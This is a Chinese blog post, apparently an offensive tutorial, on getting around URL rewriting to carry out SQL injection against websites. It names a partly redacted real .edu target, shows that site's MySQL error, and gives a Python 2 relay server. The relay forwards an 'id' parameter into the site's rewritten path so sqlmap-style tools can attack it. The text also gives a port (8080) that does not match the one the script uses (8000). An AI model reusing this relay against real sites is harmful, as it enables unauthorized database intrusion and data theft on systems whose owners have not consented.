python脚本处理伪静态注入
大概从7、8年前,越来越多的网址做了rewrite。如:“/?id=1” ,“/chin.php”,“/chin”。
在往日我们找到的动态网站url都是长得很漂亮的:“http://www.qinor.cn/chin.php?id=1”;
做了伪静态之后呢是长这个鬼样的:“http://www.qinor.cn/chin.php/id/1.html”。
在网站url越长越丑的趋势下,我们入侵的难度就增加了,所以我们就需要对伪静态作出一些对策。
实战:
例如:“http://www.bxxxxxxxxxxxx.edu/magazine/index.php/mxxxxia/gallery/dickinsons-last-dance/1” ,这里存在最基本的注入:
Error Number: 1064
You have an error in your SQL
syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use near '1dddddd, 1' at line 4
1、我们利用sqlmap、safe3、穿山甲直接注入试一试,未果。
2、我们利用python中转注入:
from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
def do_GET(self):
path=self.path
path=path[path.find('id=')+3:]
proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
opener = urllib2.build\_opener(proxy\_support)
urllib2.install_opener(opener)
url="http://www.xxxxxxxxxxxxx.edu/magazine/imedia/gallery/dickinsons-last-dance/"
try:
response=urllib2.urlopen(url+path)
html=response.read()
except urllib2.URLError,e:
html=e.read()
self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()
3、利用python进行中转注入得到url:“http://127.0.0.1:8080/?id=1”
4、奔放。





发表吐槽
匿名评论 请叫我雷锋~
既然没有吐槽,那就赶紧抢沙发吧!